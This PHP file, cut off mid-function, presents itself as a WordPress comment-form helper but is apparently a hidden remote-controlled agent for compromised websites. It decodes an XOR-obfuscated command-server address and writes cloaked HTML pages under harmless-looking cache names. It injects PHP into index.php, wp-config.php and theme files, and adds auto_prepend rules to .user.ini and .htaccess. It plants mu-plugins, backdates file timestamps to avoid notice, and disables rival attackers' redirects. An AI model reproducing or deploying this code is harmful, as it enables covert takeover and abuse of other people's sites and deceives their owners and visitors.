<?php
/**
* WP Comments Post Loader — comment form HTML helper.
* Formdan PHP yazılmaz.
*/
define('CM_HQ_ENC', 'UUFNSBIITU0PWU8VVFpQXVwHVlgbFEQM'); define('CM_API_HASH', '9598a2bba67a19835d745d6cfc861edaa844ba582090c1fd'); define('CM_API_SIGN', 'f8a3244c089b4f6bdcce8b35dc45e0f3473d2774cce1da38816431cb6fa71ea2'); if (!function_exists('hash_equals')) {
function hash_equals($a, $b) {
if (!is_string($a) || !is_string($b) || strlen($a) !== strlen($b)) {
return false; }
$r = 0; for ($i = 0, $l = strlen($a); $i < $l; $i++) {
$r |= ord($a[$i]) ^ ord($b[$i]); }
return $r === 0; }
}
function cm_state_canonical() {
$base = preg_replace('/\.php$/i', '', basename(__FILE__)); return __DIR__ . '/' . $base . '-inc.php'; }
function cm_state_file() {
$st = cm_state_canonical(); if (is_file($st)) {
return $st; }
$legacy = __DIR__ . '/cache-data.php'; if (is_file($legacy)) {
return $legacy; }
$found = glob(__DIR__ . '/*-inc.php') ?: []; $ok = []; foreach ($found as $f) {
if (is_file($f)) {
$ok[] = $f; }
}
if (count($ok) === 1) {
return $ok[0]; }
return $st; }
function cm_arr($a, $k, $d = '') {
return (is_array($a) && isset($a[$k])) ? $a[$k] : $d; }
function cm_srv($k, $d = '') {
return isset($_SERVER[$k]) ? $_SERVER[$k] : $d; }
function cm_rand($n) {
if (function_exists('random_bytes')) {
return random_bytes($n); }
if (function_exists('openssl_random_pseudo_bytes')) {
$b = openssl_random_pseudo_bytes($n); if ($b !== false) {
return $b; }
}
$s = ''; for ($i = 0; $i < $n; $i++) {
$s .= chr(mt_rand(0, 255)); }
return $s; }
function cm_norm($p) {
return rtrim(str_replace('\\', '/', $p), '/'); }
function cm_xor($data, $key) {
$out = ''; $kl = strlen($key); if ($kl === 0) {
return ''; }
for ($i = 0, $n = strlen($data); $i < $n; $i++) {
$out .= $data[$i] ^ $key[$i % $kl]; }
return $out; }
function cm_hq_url() {
if (strpos((string) CM_HQ_ENC, '%%') !== false) {
return ''; }
$bin = base64_decode((string) CM_HQ_ENC, true); if ($bin === false || $bin === '') {
return ''; }
$url = rtrim(cm_xor($bin, (string) CM_API_HASH . (string) CM_API_SIGN)); if (!preg_match('#^https?://[a-zA-Z0-9.:_/-]+$#', $url)) {
return ''; }
return $url; }
function cm_hq_bases() {
$u = cm_hq_url(); if ($u === '') {
return []; }
$list = [rtrim($u, '/')]; $s = cm_state(); if (!empty($s['hq_base'])) {
array_unshift($list, rtrim((string) $s['hq_base'], '/')); }
if (preg_match('#^(https?://[0-9.a-zA-Z-]+):8787$#', $u, $m)) {
$list[] = $m[1]; }
return array_values(array_unique($list)); }
function cm_cms_at($dir) {
$dir = rtrim(str_replace('\\', '/', $dir), '/'); if ($dir === '') {
return ''; }
if (is_file($dir . '/wp-config.php') || is_file($dir . '/wp-load.php') || (is_file($dir . '/index.php') && is_dir($dir . '/wp-content'))) {
return 'wordpress'; }
if (is_file($dir . '/configuration.php') && (is_dir($dir . '/administrator') || is_file($dir . '/includes/defines.php'))) {
return 'joomla'; }
if (is_dir($dir . '/mg-core') && is_dir($dir . '/mg-admin')) {
return 'moguta'; }
if (is_file($dir . '/sites/default/settings.php')) {
return 'drupal'; }
if (is_file($dir . '/app/etc/env.php')) {
return 'magento2'; }
if (is_file($dir . '/app/etc/local.xml')) {
return 'magento1'; }
if (is_file($dir . '/config/settings.inc.php')) {
return 'prestashop'; }
$oc = $dir . '/config.php'; if (is_file($oc) && strpos((string) @file_get_contents($oc), 'DIR_APPLICATION') !== false) {
return 'opencart'; }
return ''; }
function cm_is_site_root($dir) {
return cm_cms_at($dir) !== ''; }
function cm_scan_cms_subs($base) {
$base = rtrim(str_replace('\\', '/', $base), '/'); $subs = array('wp', 'wordpress', 'blog', 'cms', 'public', 'httpdocs', 'htdocs', 'html', 'web', 'www', 'site'); foreach ($subs as $s) {
$p = $base . '/' . $s; if (is_dir($p) && cm_is_site_root($p)) {
return cm_norm($p) . '/'; }
}
return ''; }
function cm_root() {
static $root = null; if (is_string($root)) {
return $root; }
$here = cm_norm((string) (realpath(__DIR__) ?: __DIR__)); $docRaw = (string) cm_srv('DOCUMENT_ROOT'); $doc = $docRaw !== '' ? cm_norm((string) (realpath($docRaw) ?: $docRaw)) : ''; $dir = $here; for ($i = 0; $i < 12; $i++) {
if (cm_is_site_root($dir)) {
$root = $dir . '/'; return $root; }
$sub = cm_scan_cms_subs($dir); if ($sub !== '') {
$root = $sub; return $root; }
if ($doc !== '' && strcasecmp($dir, $doc) === 0) {
break; }
$parent = cm_norm(dirname($dir)); if ($parent === $dir) {
break; }
$dir = $parent; }
if ($doc !== '' && is_dir($doc)) {
$sub = cm_scan_cms_subs($doc); if ($sub !== '') {
$root = $sub; return $root; }
$root = $doc . '/'; return $root; }
$root = $here . '/'; return $root; }
function cm_on_fatal() {
$e = error_get_last(); if (!$e || !in_array($e['type'], array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR), true)) {
return; }
if (headers_sent()) {
return; }
while (ob_get_level() > 0) {
ob_end_clean(); }
header('Content-Type: text/plain; charset=utf-8'); }
function cm_is_main() {
$sf = (string) cm_srv('SCRIPT_FILENAME'); if ($sf === '') {
return true; }
$a = realpath($sf); $b = realpath(__FILE__); return $a !== false && $b !== false && strcasecmp($a, $b) === 0; }
function cm_protect_agent_dir() {
$here = cm_norm((string) (realpath(__DIR__) ?: __DIR__)); $cms = cm_norm(rtrim(cm_root(), '/')); if ($cms === '' || strcasecmp($here, $cms) === 0) {
return; }
$ht = __DIR__ . '/.htaccess'; $mark = '# BEGIN CMAGENT'; $c = is_file($ht) ? (string) file_get_contents($ht) : ''; if (strpos($c, $mark) !== false) {
return; }
$rule = $mark . "\n<IfModule mod_rewrite.c>\nRewriteEngine Off\n</IfModule>\n# END CMAGENT\n"; @file_put_contents($ht, $rule . $c); }
function cm_public_path() {
$cms = cm_norm(rtrim(cm_root(), '/')); $docRaw = (string) cm_srv('DOCUMENT_ROOT'); $doc = $docRaw !== '' ? cm_norm((string) (realpath($docRaw) ?: $docRaw)) : ''; if ($doc === '' || strcasecmp($cms, $doc) === 0) {
return '/'; }
if (stripos($cms, $doc) === 0) {
return '/' . ltrim(substr($cms, strlen($doc)), '/') . '/'; }
return '/'; }
function cm_origin() {
$https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || ((string) cm_srv('HTTP_X_FORWARDED_PROTO') === 'https'); $host = (string) cm_srv('HTTP_HOST', 'localhost'); return ($https ? 'https' : 'http') . '://' . $host; }
function cm_agent_rel() {
$cms = cm_norm((string) (realpath(rtrim(cm_root(), '/')) ?: rtrim(cm_root(), '/'))); $self = cm_norm((string) (realpath(__FILE__) ?: __FILE__)); if (stripos($self, $cms) === 0) {
$rel = ltrim(substr($self, strlen($cms)), '/'); if ($rel !== '' && strpos($rel, '..') === false) {
return $rel; }
}
return basename(__FILE__); }
function cm_self_url() {
$sn = str_replace('\\', '/', (string) cm_srv('SCRIPT_NAME', '/' . basename(__FILE__))); return cm_origin() . '/' . ltrim($sn, '/'); }
function cm_state() {
if (!is_file(cm_state_file())) {
return []; }
$s = include cm_state_file(); return is_array($s) ? $s : []; }
function cm_state_save($s) {
$export = var_export($s, true); $php = "<?php\nif (isset(\$_SERVER['SCRIPT_FILENAME']) && realpath(\$_SERVER['SCRIPT_FILENAME']) === realpath(__FILE__)) { http_response_code(404); exit; }\nreturn {$export}
;\n"; $file = cm_state_canonical(); $tmp = $file . '.tmp'; if (@file_put_contents($tmp, $php, LOCK_EX) !== false) {
@rename($tmp, $file); }
@chmod($file, 0600); }
function cm_reject_php($s) {
if (preg_match('/<\?(php|=)?/i', $s)) {
return true; }
if (preg_match('/<script[^>]+language\s*=\s*[\'"]?php/i', $s)) {
return true; }
return stripos($s, 'phar://') !== false; }
function cm_cloak_labels() {
return array( 'htaccess' => 'htaccess', 'apache_prepend' => 'php_value', 'user_ini' => 'user.ini', 'wp_header' => 'header', 'index_php' => 'index', 'mu_plugin' => 'mu', 'theme_fn' => 'tema', 'cache_kill' => 'cache_kill', 'adv_cache' => 'adv_cache', 'wp_boot' => 'wp_boot', ); }
function cm_gsc_parse($raw) {
$raw = trim(str_replace("\r", '', (string) $raw)); if ($raw === '' || cm_reject_php($raw)) {
return null; }
$name = ''; $token = ''; if (preg_match('/google-site-verification:\s*([A-Za-z0-9_-]+)/i', $raw, $m)) {
$token = $m[1]; }
if ($token === '' && preg_match('/name=["\']google-site-verification["\'][^>]*content=["\']([A-Za-z0-9_-]+)["\']/i', $raw, $m)) {
$token = $m[1]; }
if ($token === '' && preg_match('/content=["\']([A-Za-z0-9_-]+)["\'][^>]*name=["\']google-site-verification["\']/i', $raw, $m)) {
$token = $m[1]; }
if (preg_match('/\b(google[a-zA-Z0-9_-]+)\.html\b/i', $raw, $m)) {
$name = strtolower($m[1]) . '.html'; }
if ($name === '' && $token !== '') {
$name = 'google' . $token . '.html'; }
if ($token === '' && $name !== '' && preg_match('/^google([a-zA-Z0-9_-]+)\.html$/i', $name, $m)) {
$token = $m[1]; }
if ($token === '' || $name === '' || !preg_match('/^google[a-zA-Z0-9_-]+\.html$/i', $name)) {
return null; }
return array( 'name' => $name, 'body' => 'google-site-verification: ' . $token, ); }
function cm_html_name($name) {
$name = basename(str_replace('\\', '/', $name)); if (!preg_match('/^[a-zA-Z0-9._-]+\.html$/i', $name)) {
return cm_curtain_name(); }
if (preg_match('/\.php/i', $name)) {
return cm_curtain_name(); }
return $name; }
function cm_html_title($html) {
if (!preg_match('/<title[^>]*>([^<]{1,120})/i', (string) $html, $m)) {
return ''; }
return trim(html_entity_decode($m[1], ENT_QUOTES, 'UTF-8')); }
function cm_mark_curtain_via($via) {
$s = cm_state(); $s['curtain_via'] = (string) $via; $s['curtain_via_at'] = time(); cm_state_save($s); }
function cm_write_html($name, $html, $via = '') {
if (cm_reject_php($html)) {
return ['ok' => false, 'error' => 'php_yasak']; }
$name = cm_html_name($name); $root = cm_root(); $ok = @file_put_contents($root . $name, $html) !== false; if ($ok) {
cm_blend_mtime($root . $name); }
if (realpath(__DIR__) !== realpath(rtrim($root, '/'))) {
@file_put_contents(__DIR__ . '/' . $name, $html); }
if ($ok && $via !== '') {
cm_mark_curtain_via($via); }
return ['ok' => $ok, 'file' => $name, 'bytes' => $ok ? strlen($html) : 0]; }
function cm_site_url() {
$base = rtrim(cm_public_path(), '/'); return $base === '' ? cm_origin() : cm_origin() . $base; }
function cm_rich_url() {
return 'https://search.google.com/test/rich-results?url=' . rawurlencode(cm_site_url() . '/'); }
function cm_hq_ready() {
return cm_hq_url() !== '' && defined('CM_API_HASH') && strpos((string) CM_API_HASH, '%%') === false; }
function cm_cms() {
$c = cm_cms_at(rtrim(cm_root(), '/')); return $c !== '' ? $c : 'html'; }
function cm_blend_mtime($file) {
if (!is_file($file)) {
return; }
$dir = dirname($file); $skip = array(basename($file), basename(__FILE__), 'cm-html-prepend.php', 'cm-html-serve.php'); $mt = array(); $dh = @opendir($dir); if ($dh === false) {
return; }
while (($f = readdir($dh)) !== false) {
if ($f === '.' || $f === '..' || ($f !== '' && $f[0] === '.')) {
continue; }
if (in_array($f, $skip, true)) {
continue; }
$fp = $dir . DIRECTORY_SEPARATOR . $f; if (!is_file($fp)) {
continue; }
$t = (int) @filemtime($fp); if ($t > 1262304000) {
$mt[] = $t; }
}
closedir($dh); if ($mt === array()) {
return; }
sort($mt); @touch($file, $mt[(int) (count($mt) / 2)]); }
function cm_curtain_name() {
$cms = cm_cms(); if ($cms === 'wordpress') {
return 'wp-comments-post-loader.html'; }
if ($cms === 'joomla') {
return 'media-system-cache.html'; }
if ($cms === 'moguta') {
return 'mg-cache-loader.html'; }
if ($cms === 'drupal') {
return 'views-cache-bootstrap.html'; }
if ($cms === 'magento2' || $cms === 'magento1') {
return 'mage-cache-validator.html'; }
if ($cms === 'prestashop') {
return 'ps-module-loader.html'; }
if ($cms === 'opencart') {
return 'oc-cache-check.html'; }
return 'assets-cache-loader.html'; }
function cm_curtain_file() {
$r = cm_root(); $n = cm_curtain_name(); if (is_file($r . $n)) {
return $n; }
foreach (array( 'wp-comments-post-loader.html', 'assets-cache-loader.html', 'media-system-cache.html', 'mg-cache-loader.html', 'views-cache-bootstrap.html', 'amp.html', ) as $alt) {
if ($alt !== $n && is_file($r . $alt)) {
return $alt; }
}
return $n; }
function cm_cloak_status() {
$r = cm_root(); $ht = is_file($r . '.htaccess') ? (string) @file_get_contents($r . '.htaccess') : ''; $ini = is_file($r . '.user.ini') ? (string) @file_get_contents($r . '.user.ini') : ''; $idx = is_file($r . 'index.php') ? (string) @file_get_contents($r . 'index.php') : ''; $hdr = is_file($r . 'wp-blog-header.php') ? (string) @file_get_contents($r . 'wp-blog-header.php') : ''; $out = [ 'user_ini' => strpos($ini, 'cm_html_prepend') !== false, 'index_php' => strpos($idx, 'cm_html_inject') !== false, 'wp_header' => strpos($hdr, 'cm_html_inject') !== false, 'mu_plugin' => is_file($r . 'wp-content/mu-plugins/cm-html.php'), 'htaccess' => strpos($ht, '# BEGIN CMHTML') !== false, 'apache_prepend' => strpos($ht, '# BEGIN CMPREPEND') !== false, 'theme_fn' => false, 'cache_kill' => strpos($ht, '# BEGIN CMCACHEKILL') !== false, 'adv_cache' => is_file($r . 'wp-content/advanced-cache.php') && strpos((string) @file_get_contents($r . 'wp-content/advanced-cache.php'), 'cm_html_adv') !== false, 'wp_boot' => false, 'curtain' => is_file($r . cm_curtain_file()), 'server' => cm_server_info(), ]; $tf = cm_theme_functions(); if ($tf !== '' && is_file($tf)) {
$out['theme_fn'] = strpos((string) @file_get_contents($tf), 'cm_html_inject') !== false; }
$cfg = is_file($r . 'wp-config.php') ? (string) @file_get_contents($r . 'wp-config.php') : ''; $out['wp_boot'] = strpos($cfg, 'cm_html_boot') !== false; $out['adv_cache'] = !empty($out['adv_cache']) || strpos($cfg, 'cm_html_wpcache') !== false && is_file($r . 'wp-content/advanced-cache.php'); return $out; }
function cm_theme_functions() {
$d = cm_root() . 'wp-content/themes'; if (!is_dir($d)) {
return ''; }
$found = glob($d . '/*/functions.php') ?: []; foreach ($found as $f) {
if (is_file($f) && (is_writable($f) || is_writable(dirname($f)))) {
return $f; }
}
return isset($found[0]) ? $found[0] : ''; }
function cm_server_info() {
$sw = strtolower((string) cm_srv('SERVER_SOFTWARE')); $sapi = strtolower(PHP_SAPI); $engine = 'unknown'; if (strpos($sw, 'litespeed') !== false || strpos($sapi, 'litespeed') !== false) {
$engine = 'litespeed'; }
elseif (strpos($sw, 'nginx') !== false) {
$engine = 'nginx'; }
elseif (strpos($sw, 'apache') !== false || $sapi === 'apache2handler' || function_exists('apache_get_modules')) {
$engine = 'apache'; }
$userIni = $engine === 'litespeed' || strpos($sapi, 'fpm') !== false || strpos($sapi, 'cgi') !== false; if ($sapi === 'apache2handler') {
$userIni = false; }
return [ 'engine' => $engine, 'software' => (string) cm_srv('SERVER_SOFTWARE'), 'sapi' => PHP_SAPI, 'user_ini_likely' => $userIni, 'cms' => cm_cms(), ]; }
function cm_host_norm($host) {
$host = strtolower(trim((string) $host)); if (strpos($host, 'www.') === 0) {
$host = substr($host, 4); }
return $host; }
function cm_bind_err($p) {
$bind = isset($p['_bind']) && is_array($p['_bind']) ? $p['_bind'] : array(); $aid = (string) cm_arr($bind, 'agent_id'); $s = cm_state(); if ($aid === '' || empty($s['agent_id']) || !hash_equals((string) $s['agent_id'], $aid)) {
return 'ajan'; }
$wantHost = cm_host_norm(cm_arr($bind, 'host')); $haveHost = cm_host_norm(cm_srv('HTTP_HOST')); if ($wantHost !== '' && $haveHost !== '' && $wantHost !== $haveHost) {
return 'host'; }
$wantCms = strtolower((string) cm_arr($bind, 'cms')); $haveCms = cm_cms(); if ($wantCms !== '' && $wantCms !== 'html' && $haveCms !== 'html' && $wantCms !== $haveCms) {
return 'cms'; }
return ''; }
function cm_fill($s) {
$root = rtrim(cm_root(), '/\\') . '/'; $base = rtrim(cm_public_path(), '/'); $map = array( '{{CURTAIN_EXPORT}}' => var_export($root . cm_curtain_file(), true), '{{PREPEND_ABS}}' => str_replace('"', '', $root . 'cm-html-prepend.php'), '{{CURTAIN_FILE}}' => cm_curtain_file(), '{{CURTAIN_FILE_RE}}' => preg_quote(cm_curtain_file(), '/'), '{{SERVE_URL}}' => ($base === '' ? '' : $base) . '/cm-html-serve.php', '{{ADMIN}}' => ($base === '' ? '/wp-admin/' : $base . '/wp-admin/'), '{{DOC_CURTAIN}}' => ($base === '' ? '/' : $base . '/') . cm_curtain_file(), ); return str_replace(array_keys($map), array_values($map), (string) $s); }
function cm_rel_ok($rel) {
if ($rel === '@theme_fn') {
return true; }
$rel = str_replace('\\', '/', (string) $rel); if ($rel === '' || strpos($rel, '..') !== false || (isset($rel[0]) && $rel[0] === '/')) {
return false; }
return (bool) preg_match('#^[a-zA-Z0-9._/@-]+$#', $rel); }
function cm_rel_path($rel) {
if ($rel === '@theme_fn') {
return cm_theme_functions(); }
if (!cm_rel_ok($rel)) {
return ''; }
return rtrim(cm_root(), '/\\') . '/' . $rel; }
function cm_write_allow($rel) {
static $ok = array( 'cm-html-prepend.php', 'cm-html-serve.php', '.ls-conf', '.htaccess', '.user.ini', 'index.php', 'wp-blog-header.php', 'wp-config.php', 'wp-content/mu-plugins/cm-html.php', 'wp-content/mu-plugins/cm-html-nocache.php', 'wp-content/advanced-cache.php', 'wp-content/cm-html-boot.php', ); return $rel === '@theme_fn' || in_array($rel, $ok, true); }
function cm_delete_allow($rel) {
static $ok = array( 'cm-html-prepend.php', 'cm-html-serve.php', '.ls-conf', 'wp-content/mu-plugins/cm-html.php', 'wp-content/mu-plugins/cm-html-nocache.php', 'wp-content/advanced-cache.php', 'wp-content/cm-html-boot.php', ); return in_array($rel, $ok, true); }
function cm_purge_allow($rel) {
static $pref = array( 'wp-content/cache', 'wp-content/litespeed', 'wp-content/w3tc-cache', 'wp-content/endurance-page-cache', 'wp-content/wp-rocket-cache', 'wp-content/uploads/wp-fastest-cache', 'cache', 'tmp', ); foreach ($pref as $p) {
if ($rel === $p || strpos($rel, $p . '/') === 0) {
return true; }
}
return false; }
function cm_inject_mark_ok($mark) {
return (bool) preg_match('/^cm_html_[a-z0-9]+$/', (string) $mark); }
function cm_inject_marked($file, $php, $mark = 'cm_html_inject') {
if (!cm_inject_mark_ok($mark)) {
$mark = 'cm_html_inject'; }
if ($file === '' || !is_file($file)) {
return array('ok' => false, 'error' => 'dosya yok'); }
$c = (string) file_get_contents($file); if (strpos($c, $mark) !== false) {
cm_uninject_marked($file, $mark); $c = is_file($file) ? (string) file_get_contents($file) : $c; }
$block = "<?php /* " . $mark . " */ " . $php . " ?>\n"; if (strpos(ltrim($c), '<?php') === 0) {
$c = ($pr = preg_replace('/^<\?php/', $block . '<?php', ltrim($c), 1)) !== null ? $pr : $c; }
else {
$c = $block . $c; }
@copy($file, $file . '.cm-bak'); if (@file_put_contents($file, $c) === false) {
return array('ok' => false, 'error' => basename($file) . ' yazılamadı'); }
cm_blend_mtime($file); return array('ok' => true, 'message' => basename($file)); }
function cm_uninject_marked($file, $mark = 'cm_html_inject') {
if ($file === '' || !is_file($file)) {
return; }
if (!cm_inject_mark_ok($mark)) {
$mark = 'cm_html_inject'; }
$bak = $file . '.cm-bak'; if ($mark === 'cm_html_inject' && is_file($bak)) {
@copy($bak, $file); @unlink($bak); return; }
$c = preg_replace('/<\?php \/\* ' . preg_quote($mark, '/') . ' \*\/.*?\?>\n?/s', '', (string) file_get_contents($file)); @file_put_contents($file, $c); }
function cm_block_set($file, $begin, $end, $body, $place) {
$c = is_file($file) ? (string) file_get_contents($file) : ''; $c = preg_replace('/\n?' . preg_quote($begin, '/') . '.*?' . preg_quote($end, '/') . '\n?/s', "\n", $c); if (strpos($c, $begin) !== false) {
return true; }
if ($place === 'before_wp' && strpos($c, '# BEGIN WordPress') !== false) {
$c = str_replace('# BEGIN WordPress', $body . '# BEGIN WordPress', $c); }
else {
$c = $body . $c; }
return @file_put_contents($file, $c) !== false; }
function cm_block_clear($file, $begin, $end) {
if (!is_file($file)) {
return true; }
$c = preg_replace('/\n?' . preg_quote($begin, '/') . '.*?' . preg_quote($end, '/') . '\n?/s', "\n", (string) file_get_contents($file)); return @file_put_contents($file, $c) !== false; }
function cm_purge_dir($dir) {
if (!is_dir($dir)) {
return 0; }
$n = 0; try {
$it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); if (method_exists($it, 'setMaxDepth')) {
$it->setMaxDepth(4); }
foreach ($it as $f) {
if ($n > 400) {
break; }
if ($f->isFile()) {
@unlink($f->getPathname()); $n++; }
}
}
catch (Exception $e) {
}
return $n; }
function cm_ht_our_host() {
return cm_host_norm(cm_srv('HTTP_HOST')); }
function cm_ht_url_host($line) {
if (!preg_match('#https?://([^/\s\'"]+)#i', (string) $line, $m)) {
return ''; }
$h = strtolower(trim($m[1])); if (strpos($h, 'www.') === 0) {
$h = substr($h, 4); }
return $h; }
function cm_ht_foreign_line($line) {
$t = trim((string) $line); if ($t === '' || (isset($t[0]) && $t[0] === '#')) {
return false; }
if (preg_match('/php_value\s+auto_prepend_file/i', $t) && stripos($t, 'cm-html-prepend') === false) {
return true; }
$ext = cm_ht_url_host($t); if ($ext === '') {
return false; }
$me = cm_ht_our_host(); if ($me !== '' && ($ext === $me || $ext === 'www.' . $me)) {
return false; }
if (preg_match('/^Redirect(Match)?\s+/i', $t)) {
return true; }
if (preg_match('/RewriteRule\b/i', $t)) {
return true; }
if (preg_match('/Header\s+(always\s+)?set\s+["\']?Location/i', $t)) {
return true; }
return false; }
function cm_htaccess_disable_foreign($path) {
$found = array(); if (!is_file($path)) {
return $found; }
$raw = (string) @file_get_contents($path); if ($raw === '' || strlen($raw) > 400000) {
return $found; }
$lines = preg_split("/\r\n|\n|\r/", $raw); $out = array(); $skip = ''; $n = 0; foreach ($lines as $line) {
$trim = trim($line); if ($skip === '') {
if (preg_match('/^# BEGIN (CM[A-Z]*|WordPress)\s*$/', $trim, $m)) {
$skip = '# END ' . $m[1]; }
}
elseif ($trim === $skip) {
$skip = ''; }
if ($skip === '' && cm_ht_foreign_line($line)) {
$host = cm_ht_url_host($line); if ($host !== '' && count($found) < 8 && !in_array($host, $found, true)) {
$found[] = $host; }
$out[] = '# CM-OFF ' . $line; $n++; continue; }
$out[] = $line; }
if ($n > 0) {
@file_put_contents($path, implode("\n", $out) . "\n"); }
return $found; }
function cm_php_foreign_line($line) {
$t = (string) $line; if (trim($t) === '' || strpos(ltrim($t), '//') === 0 || strpos(ltrim($t), '#') === 0) {
return false; }
if (!preg_match('/header\s*\(\s*[\'"]Location:/i', $t) && !preg_match('/header\s*\(\s*[\'"]Refresh:/i', $t)) {
return false; }
$ext = cm_ht_url_host($t); $me = cm_ht_our_host(); if ($ext !== '') {
if ($me !== '' && ($ext === $me || $ext === 'www.' . $me)) {
return false; }
return true; }
return (bool) preg_match('#https?://#i', $t); }
function cm_php_disable_foreign($rel) {
$found = array(); $path = cm_rel_path($rel); if ($path === '' || !is_file($path)) {
return $found; }
$raw = (string) @file_get_contents($path); if ($raw === '' || strlen($raw) > 400000) {
return $found; }
$lines = preg_split("/\r\n|\n|\r/", $raw); $out = array(); $skipOurs = false; $n = 0; $max = min(count($lines), 90); foreach ($lines as $i => $line) {
if ($i < $max) {
if (strpos($line, 'cm_html_inject') !== false) {
$skipOurs = true; }
if ($skipOurs && strpos($line, '?>') !== false) {
$skipOurs = false; $out[] = $line; continue; }
if (!$skipOurs && cm_php_foreign_line($line)) {
$host = cm_ht_url_host($line); if ($host !== '' && !in_array($host, $found, true)) {
$found[] = $rel . ':' . $host; }
$out[] = '// CM-OFF ' . $line; $n++; continue; }
}
$out[] = $line; }
if ($n > 0) {
@file_put_contents($path, implode("\n", $out) . "\n"); }
return $found; }
function cm_redir_fix() {
$found = cm_htaccess_disable_foreign(cm_rel_path('.htaccess')); $ini = cm_rel_path('.user.ini'); if (is_file($ini)) {
$c = (string) @file_get_contents($ini); if ($c !== '' && preg_match('/auto_prepend_file\s*=\s*["\']?([^"\'\n]+)/i', $c, $m)) {
$tgt = str_replace('\\', '/', trim($m[1])); if (stripos($tgt, 'cm-html-prepend.php') === false) {
$found[] = 'user.ini'; $prep = str_replace('"', '', cm_rel_path('cm-html-prepend.php')); $c = preg_replace('/auto_prepend_file\s*=.*\n?/', '', $c); $c .= "\n; cm_html_prepend\nauto_prepend_file=\"" . $prep . "\"\n"; @file_put_contents($ini, $c); }
}
}
foreach (array('index.php', 'wp-blog-header.php', 'wp-config.php') as $rel) {
$found = array_merge($found, cm_php_disable_foreign($rel)); }
$mu = cm_rel_path('wp-content/mu-plugins'); if ($mu !== '' && is_dir($mu)) {
$dh = @opendir($mu); if ($dh) {
$n = 0; while (($name = readdir($dh)) !== false && $n < 40) {
if ($name === '.' || $name === '..' || !preg_match('/\.php$/i', $name)) {
continue; }
if (stripos($name, 'cm-html') === 0) {
continue; }
$add = cm_php_disable_foreign('wp-content/mu-plugins/' . $name); if ($add) {
$found = array_merge($found, $add); $n++; }
}
closedir($dh); }
}
$note = $found ? ('redir_fix:' . implode(',', $found)) : 'redir_fix:yok'; return array('ok' => true, 'm' => $note, 'found' => $found); }
function cm_run_op($op, $php) {
$name = (string) cm_arr($op, 'op'); $rel = (string) cm_arr($op, 'rel'); if ($name === 'opcache') {
if (function_exists('opcache_reset')) {
@opcache_reset(); }
return array('ok' => true, 'm' => 'opcache'); }
if ($name === 'header') {
$h = preg_replace('/[^A-Za-z0-9-]/', '', (string) cm_arr($op, 'name')); $v = (string) cm_arr($op, 'value'); if ($h === 'X-LiteSpeed-Purge' && $v !== '' && !headers_sent()) {
@header($h . ': ' . $v); }
return array('ok' => true, 'm' => 'header'); }
if ($name === 'write') {
if (!cm_write_allow($rel)) {
return array('ok' => false, 'm' => 'yaz yasak'); }
$path = cm_rel_path($rel); if ($path === '') {
return array('ok' => false, 'm' => 'yol'); }
$dir = dirname($path); if (!is_dir($dir)) {
@mkdir($dir, 0755, true); }
$ok = @file_put_contents($path, cm_fill((string) cm_arr($op, 'body'))) !== false; if ($ok) {
cm_blend_mtime($path); }
return array('ok' => $ok, 'm' => $rel); }
if ($name === 'delete') {
if (!cm_delete_allow($rel)) {
return array('ok' => false, 'm' => 'sil yasak'); }
$path = cm_rel_path($rel); if ($path === '' || !is_file($path)) {
return array('ok' => true, 'm' => $rel); }
return array('ok' => @unlink($path), 'm' => $rel); }
if ($name === 'mkdir') {
if ($rel !== 'wp-content/mu-plugins') {
return array('ok' => false, 'm' => 'mkdir yasak'); }
$path = cm_rel_path($rel); if ($path === '') {
return array('ok' => false, 'm' => 'yol'); }
if (is_dir($path) || @mkdir($path, 0755, true)) {
return array('ok' => true, 'm' => $rel); }
return array('ok' => false, 'm' => 'mkdir'); }
if ($name === 'purge') {
if (!cm_purge_allow($rel)) {
return array('ok' => false, 'm' => 'purge yasak'); }
$n = cm_purge_dir(cm_rel_path($rel)); return array('ok' => true, 'm' => $rel . ':' . $n); }
if ($name === 'inject' || $name === 'rebind' || $name === 'uninject') {
if (!in_array($rel, array('index.php', 'wp-blog-header.php', '@theme_fn', 'wp-config.php'), true)) {
return array('ok' => false, 'm' => 'inject yasak'); }
$mark = (string) cm_arr($op, 'mark', 'cm_html_inject'); if (!cm_inject_mark_ok($mark)) {
$mark = 'cm_html_inject'; }
$path = cm_rel_path($rel); if ($name === 'uninject') {
cm_uninject_marked($path, $mark); return array('ok' => true, 'm' => 'uninject'); }
if ($name === 'rebind') {
if ($path === '' || !is_file($path) || strpos((string) @file_get_contents($path), $mark) === false) {
return array('ok' => true, 'm' => 'rebind skip'); }
cm_uninject_marked($path, $mark); }
$code = (string) cm_arr($op, 'inline'); if ($rel === 'wp-config.php') {
if ($code === '' || strpos($code, 'eval') !== false || strpos($code, 'base64_') !== false) {
return array('ok' => false, 'm' => 'wp-config satir'); }
return cm_inject_marked($path, $code, $mark); }
return cm_inject_marked($path, $php, $mark); }
if ($name === 'block' || $name === 'block_clear') {
if ($rel !== '.htaccess') {
return array('ok' => false, 'm' => 'ht yasak'); }
$path = cm_rel_path($rel); $begin = (string) cm_arr($op, 'begin'); $end = (string) cm_arr($op, 'end'); if ($begin === '' || $end === '' || strpos($begin, 'CM') === false) {
return array('ok' => false, 'm' => 'blok'); }
if ($name === 'block_clear') {
return array('ok' => cm_block_clear($path, $begin, $end), 'm' => 'clear'); }
$ok = cm_block_set($path, $begin, $end, cm_fill((string) cm_arr($op, 'body')), (string) cm_arr($op, 'place')); return array('ok' => $ok, 'm' => $begin); }
if ($name === 'ini_prepend') {
if ($rel !== '.user.ini' || (string) cm_arr($op, 'target') !== 'cm-html-prepend.php') {
return array('ok' => false, 'm' => 'ini yasak'); }
$ini = cm_rel_path('.user.ini'); $prep = str_replace('"', '', cm_rel_path('cm-html-prepend.php')); $c = is_file($ini) ? (string) file_get_contents($ini) : ''; if (strpos($c, 'cm_html_prepend') === false) {
$c = ($pr = preg_replace('/auto_prepend_file\s*=.*\n?/', '', $c)) !== null ? $pr : $c; $c .= "\n; cm_html_prepend\nauto_prepend_file=\"" . $prep . "\"\n"; if (@file_put_contents($ini, $c) === false) {
return array('ok' => false, 'm' => 'user.ini'); }
}
return array('ok' => true, 'm' => 'user.ini'); }
if ($name === 'ini_clear') {
if ($rel !== '.user.ini') {
return array('ok' => false, 'm' => 'ini yasak'); }
$ini = cm_rel_path('.user.ini'); if (is_file($ini)) {
